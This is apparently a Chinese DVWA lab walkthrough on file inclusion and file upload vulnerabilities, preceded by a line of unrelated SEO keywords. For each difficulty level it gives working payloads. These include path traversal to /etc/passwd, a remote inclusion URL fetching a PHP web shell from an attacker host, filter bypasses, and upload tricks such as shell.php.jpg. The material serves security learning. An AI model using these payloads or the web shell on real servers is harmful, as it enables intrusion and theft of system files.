兰州网站运营诊断,wordpress怎么压缩,怎么查看网站收录,襄阳seo优化服务文件包含
本地文件包含#xff08;敏感信息泄露#xff09;和远程文件包含#xff08;命令执行#xff09; 本地文件包含一般包含一些本地的敏感文件#xff0c;如#xff1a;/etc/passwd或/etc/shadow等 远程文件包含能使得服务器代码执行#xff0c;如包含黑客vps的…文件包含
本地文件包含敏感信息泄露和远程文件包含命令执行 本地文件包含一般包含一些本地的敏感文件如/etc/passwd或/etc/shadow等 远程文件包含能使得服务器代码执行如包含黑客vps的http://192.168.72.162:8000/shell.php文件而文件内容如下?php system(whoami)?
测试环境
本地文件包含不用什么测试环境只要有个文件就能知道其是否触发远程文件包含需要我们写个php代码如下 ?php
echo this is the remote file.\n;
system($_GET[a]);
? 然后python -m http.server 开个服务器让dvwa能包含我们的php代码
easy linux服务下的本地文件包含 ../../../../../../etc/passwd windows服务下的本地文件包含 我的php网站部署在F盘在F盘下放一个test.txt
../../../../../../test.txt能将文件读出
或者直接绝对路径
C:/Windows/system.ini 远程文件包含 http://www.oswe.com/dvwa/vulnerabilities/fi/?pagehttp://192.168.72.162:8000/shell.phpawhoami
访问成功如下图 medium $file str_replace( array( http://, https:// ), , $file );
$file str_replace( array( ../, ..\\ ), , $file );
方法1
直接输入绝对路径
http://www.oswe.com/dvwa/vulnerabilities/fi/?pageF:/test.txt
正常输出
方法2双写绕过
http://www.oswe.com/dvwa/vulnerabilities/fi/?page
..././..././..././..././..././..././..././..././test.txt
http://www.oswe.com/dvwa/vulnerabilities/fi/?pagehthttp://tp://192.168.72.162:8000/shell.phpawhoami high if( !fnmatch( file*, $file ) $file ! include.php ) {// This isnt the page we want!echo ERROR: File not found!;exit;
}
上面的逻辑是如果参数没有file字符串且不是include.php直接过滤所以这个情况不能使用远程文件包含了
我们通过伪协议file bypass
pagefile:///C:/Windows/system.ini或
pagefile:///../../../../../../../../test.txt impossible if( $file ! include.php $file ! file1.php $file ! file2.php $file ! file3.php ) {// This isnt the page we want!echo ERROR: File not found!;exit;
}
后台只允许包含这4个文件 文件上传
文件上传只有medium、high、impossible三种难度
准备个php脚本 ?php
system($_GET[a]);
? medium 检测请求头
抓包修改数据包直接过
Content-Type: image/jpeg high 检测后缀是否为jpg、jpeg、png
上传
shell.php.jpg或shell.php.png都能被解析为php文件总感觉哪里很怪 impossible imagecreatefrompng
imagecreatefromjpeg
由文件或url创建一个新图像如果解析图像失败会报错
上传的文件会成为md5值.png或md5值.jpg的形式web服务器不会将其解析为php文件